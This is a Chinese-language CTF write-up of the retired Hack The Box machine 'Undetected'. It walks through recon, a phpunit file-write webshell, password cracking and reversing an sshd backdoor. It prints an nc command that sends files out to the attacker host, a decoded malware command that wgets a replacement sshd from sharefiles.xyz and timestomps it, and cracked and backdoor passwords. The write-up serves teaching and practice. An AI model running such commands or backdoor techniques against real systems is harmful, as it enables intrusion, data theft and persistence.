Undetected Writeup

概述 (Overview)

550

HOST: 10.10.11.146

OS: LINUX

发布时间: 2022-02-20

完成时间: 2022-06-20

机器作者: TheCyberGeek

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #ArbitraryFileWrite #BinaryAnalysis #CommandInjection #Backdoor

攻击链(Kiillchain)

使用 Nmap 对目标服务器开放端口进行扫描,在 Web 页面中找到二级域名并进行路径枚举。发现 phpunit 组件存在任意文件写入,利用该漏洞成功获得目标服务器立足点。随后通过文件搜索发现可疑的进程 dump 文件,从中提取出密码哈希并进行明文密码枚举,成功完成账号的横向移动。通过查看用户的邮箱详情内容,排查 apache 服务在组件 Model 中发现可疑的 bash 命令。进一步分析 bash 命令得到存在 sshd 服务后门二进制文件。最终结合逆向分析得到后门 ssh 登录密码,完成权限提升。

枚举(Enumeration)

开始依然是使用 Nmap 工具,扫描目标系统开放端口。

22/tcp open ssh OpenSSH 8.2 (protocol 2.0) | ssh-hostkey: | 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA) | 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA) |_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: Diana\'s Jewelry |_http-server-header: Apache/2.4.41 (Ubuntu)

从结果中获悉目标服务器是 Ubuntu,对外暴漏的端口仅有两个,看来又是一台 Web 漏洞的 VulBox。

Port 80 - HTTP

浏览器访问目标服务器 Web 服务,可以得到一个购物网站。

550

简单浏览器下页面内容,能够得到一个维护公告,看来需要找找别的路径。

NOTICE Due to a website migration we are currently not taking any online orders. Contact us if you wish to make a purchase 注意 由于网站迁移,我们目前不接受任何在线订单。 如果您想购买,请联系我们

立足点(Foothold)

通过查看下页面源代码能够得到一个二级站点的域名,直接加入到 hosts 文件里进行访问即可。

550

在此期间,使用 Gobuster 工具对子域名、子路径分别进行了枚举,能够 store 站点下的 ./vendor 路径中得到站点使用的组件信息。

1000

开始逐个检查组件服务,搜索是否存在可以利用的脆弱性漏洞,成功找到了 phpunit 存在任意文件写入漏洞。

https://blog.ovhcloud.com/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/

参考文章内容,直接发送漏洞 payload 数据包生成自定义的 Webshell:

image

利用这个 Webshell ,成功拿到目标服务器的立足点。

image

横向移动(Lateral Movement)

检查服务器可登录 User,发现存在一个 steven 用户,接着开始进行用户横向移动。

ls -la /home total 12 drwxr-xr-x 3 root root 4096 Feb 8 19:59 . drwxr-xr-x 19 root root 4096 Feb 8 19:59 .. drwxr-x--- 5 steven steven 4096 Feb 8 19:59 steven cat /etc/passwd ...snip... root:x:0:0:root:/root:/bin/bash steven1:x:1000:1000:,,,:/home/steven:/bin/bash steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash ...snip...

使用 wget 命令将 linpeas 脚本传递到目标服务器,运行脚本进行环境脆弱性枚举。让后将结果通过 nc 进行简单的文件传递,回传到 Kali 服务器。

接收方-->>>>> kali# nc -lnp 9091 > linpeas.txt 发送方-->>>>> Undetected$ nc -w 5 10.10.17.64 9091 < linpeas.txt

image

发现在 /var/backups 目录中存在一个可疑的文件,查看文件内容像是一段进程 dump 详情。其中一段 /bin/bash 执行内容引起了我的注意。

image

CyberChef

将内容复制到 CyberChef 工具中进行编码转换,得到一段创建账号的命令。

image

将命令中的密码哈希单独复制出来,通过 john 工具进行明文字典枚举,成功得到明文。

$ john --wordlist=/usr/share/wordlists/rockyou.txt --rules ./1000.hash ihatehackers $ sshpass -p 'ihatehackers' ssh steven1@10.10.11.146

随后通过该明文密码成功 ssh 登录,获得 steven1 用户交互 shell。

image

权限提升(Privilege Escalation)

通过当前身份重新运行 linpeas 脚本,进行环境脆弱性分析得到两个可能利用的 CVE 漏洞。

image

检查了服务器环境,发现没有 GCC、Make 等命令。尝试通过本地运行 Docker,生成对应目标服务器环境的 exploit 二进制文件,传递到目标服务器执行都失败了。

尝试查看其他信息,发现目标服务器文件中存在邮箱详情。

image

邮件说在 Apache 服务中存在一些奇怪的行为,顺着这一线索去检查 Apache 配置文件、Web 站点目录及组件库。

steven@production:/usr/lib/apache2/modules$ ls -tlr | head total 8772 -rw-r--r-- 1 root root 34800 May 17 2021 mod_reader.so -rw-r--r-- 1 root root 4625776 Nov 25 2021 libphp7.4.so -rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_xml2enc.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_vhost_alias.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_usertrack.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_userdir.so -rw-r--r-- 1 root root 14464 Jan 5 14:49 mod_unique_id.so -rw-r--r-- 1 root root 14544 Jan 5 14:49 mod_suexec.so -rw-r--r-- 1 root root 26832 Jan 5 14:49 mod_substitute.so -t, --sort=time # 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件靠前。 -l, --format=long, --format=verbose # 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte) # 、及时间信息(如未指明是其它时间即指修改时间)。 -r # 逆序排列。

通过排序近期文件修改时间,发现 mod_reader.so 文件存在可疑。将其传递至 kali 进行分析,这里我用的是 hexyl 工具,比 xxd 的优点就是可以高亮显示。

hexyl - https://github.com/sharkdp/hexyl

简单查看下,发现里面存在一段 bash 命令执行命令。

image

使用 base64 对其解密可以得到原始命令:

echo 'd2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk' | base64 -d wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

可以看到,从远端下载了一个新的 sshd 二进制文件,替换了目标服务器上的 sshd。所以继续将 /usr/sbin/sshd 文件传递到 kali,进行本地分析。

这里出现了一个有意思的东西,我分别使用 Cutter、IDA、Ghidra 进行分析,里面都有一个 auth_password 的后门方法,但它们生成的伪代码都不一样,后门密码比对生成的 char 编码也不一致,人都给看麻了。

image

image

这里我最终提取的 Ghidra 的伪代码段,它对 char 的还原比较直观。

backdoor._28_2_ = 0xa9f4; backdoor._24_4_ = 0xbcf0b5e3; backdoor._16_8_ = 0xb2d6f4a0fda0b3d6; backdoor[30] = 0xa5; backdoor._0_4_ = 0xf0e7abd6; backdoor._4_4_ = 0xa4b3a3f3; backdoor._8_4_ = 0xf7bbfdc8; backdoor._12_4_ = 0xfdb3d6e7;

这里说明下,在之前的伪代码段中 backdoor 是 char 类型的数组,长度为 31。下标从 0 开始,所以我们要对 backdoor.0_4 至 backdoor[30] 进行排序。注意,最后还有一个对 char 进行异或的运算(^0x96)。

这里我还是使用 CyberChef 工具来完成字符串处理:

image

pass=>> @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3

得到最终的后门密码,直接进行 ssh 登录就可以了。

image


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。